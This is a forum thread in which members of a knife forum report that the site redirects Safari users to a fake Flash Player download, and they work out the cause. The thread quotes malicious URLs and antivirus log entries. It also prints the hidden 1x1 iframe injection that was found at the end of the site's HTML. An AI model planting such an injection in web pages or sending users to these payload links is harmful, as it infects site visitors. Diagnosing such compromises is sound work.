Redirect problems?

[Dave Martell]

I have two reports of the site url being redirected automatically. Is anyone having this problem?

 

[ajhuff]

Nope.

-AJ

 

[Pensacola Tiger]

Yes, but only with Safari on OS X.

It redirects to http://94.199.51.3/FlashPlayer-11-4-macos.pkg, http://adobeflashplayer.uk.to/4f/

That downloads FlashPlayer-11-macos.pkg, and if you are allowing downloads to launch automatically, you're pwned.

It then goes to www.google.com to cover its tracks.

 

[Vertigo]

NoScript blocks attempts for the site to load hXXp:superbesttraf.orge.pl and hXXp:www.cookaround.com -- If you're allowing scripts globally, you're probably allowing those sites too. If you're not sure, watch the bottom of your screen as you load the forum and you will see those sites quickly load as well.

 

[Burl Source]

Another forum member who uses Safari sent me an email.
Said he is getting redirected to a Flash site as well.

 

[Pensacola Tiger]

Another forum member who uses Safari sent me an email.
Said he is getting redirected to a Flash site as well.

Tell him to use Chrome or Firefox. I haven't been able to figure out how to get Safari to work.

 

[Burl Source]

I just tried reloading and a couple other addresses are flashing across the bottom of my screen.
I use Firefox. No redirects but the other addresses showed for a fraction of a second at the bottom of my page.

 

[Dave Martell]

I just tried reloading and a couple other addresses are flashing across the bottom of my screen.
I use Firefox. No redirects but the other addresses showed for a fraction of a second at the bottom of my page.

I just tried this and got the same thing. I'm using Chrome which is blocking it but none the less it looks like we have a problems. Stinking hackers.

 

[Vertigo]

I just tried reloading and a couple other addresses are flashing across the bottom of my screen.

NoScript is your friend, people!

 

[mr drinky]

Both of my Macs won't properly direct to KKF. I am on an ancient PC right now. My redirects end up at Google, so I assumed it was the Google Redirect Virus. Maybe a file in one of the threads is spreading that virus?

k.

 

[Dave Martell]

I'm on it guys.

 

[SpikeC]

My Mac book is redirecting, butt my iPad is not.

 

[ecchef]

I'm navigating ok, but I do see some bullsh!t www.cookaround.com link flash by. I also now have to double click to back arrow.

 

[mr drinky]

Both of my Macs are working properly now.

k.

 

[Eamon Burke]

Hmmm no issues here.

Chrome on win 7, android on my galaxy s.

 

[UglyJoe]

I'm also still having the redirect problems. Safari, here.

 

[littleroundman]

Eset Nod 32 antivirus is indicating:

13/11/2011 11:49:12 AM HTTP filter archive http://superbesttraf.orge.pl/iframe.php?id=406x8gaw3trjcn1wx4kmv41roybsmal HTML/Iframe.B.Gen virus connection terminated - quarantined \Owner Threat was detected upon access to web by the application: C:\Internet\Firefox 4\firefox.exe.

 

[EdipisReks]

I'm also still having the redirect problems. Safari, here.

same.

 

[Vertigo]

My redirects end up at Google, so I assumed it was the Google Redirect Virus. Maybe a file in one of the threads is spreading that virus?

k.

I don't think this is a Google Redirect Virus thing. It appears for all intents and purposes to be an HTML:Iframe-inf infection, though there could be more going on behind the scenes.

If you're using Chrome, Firefox with NoScript, IE with Java disabled or a Smartphone you should be fine--though I did just get a hit on my IDS an hour or two ago indicating that the orge.pl site was trying to give me a worm. Lulz.

Wrap 'em up, boys.

 

[tk59]

I haven't seen anything on IE or Firefox.

 

[SpikeC]

This seems to be related to Flash. It is affecting Safari on my Mac book, but not safari on my iPad, which does not allow flash.

 

[mr drinky]

NoScript blocks attempts for the site to load hXXp:superbesttraf.orge.pl

Maybe it is the newest member, PolishAvenger Just kidding, but when this stuff happens, I do sort of think about those crazy threats from MadRookie way back when. I'm sure it has nothing to do with him, but it did cross my mind.

k.

 

[Vertigo]

I haven't seen anything on IE or Firefox.

It may be transparent, but regardless this is what's happening: (right click for big)

Those should most definitely not be there, and the first one (the Iframe infection orge.pl) is possibly malicious. I suspect the second one is just using our traffic to increase it's own impression.

 

[Vertigo]

Maybe it is the newest member, PolishAvenger

That's ... strangely ominous... lol

 

[JBroida]

this is what it is in your code dave:
</div>



</div><div style="display:none"><iframe src="http://www.cookaround.com/cook/robots.php" width="1" height="1"></iframe></div>

</body>

</html>

its right at the end of your pages code before the end of the body

 

[Vertigo]

Can you find where the other one is hiding Jon? I'm not seeing it anywhere.

 

[JBroida]

i think its hidden in the iframe, but i dont really want to look into that from my home laptop right now

 

[Vertigo]

Oh derp. Yep. Sup Google.

 

[PierreRodrigue]

My anti virus just blocked a script trying to open a PM. I aint got no 'puter savy, but it doesn't seem to have dug in.

 

[sw2geeks]

I also get the redirect using Firefox on the mac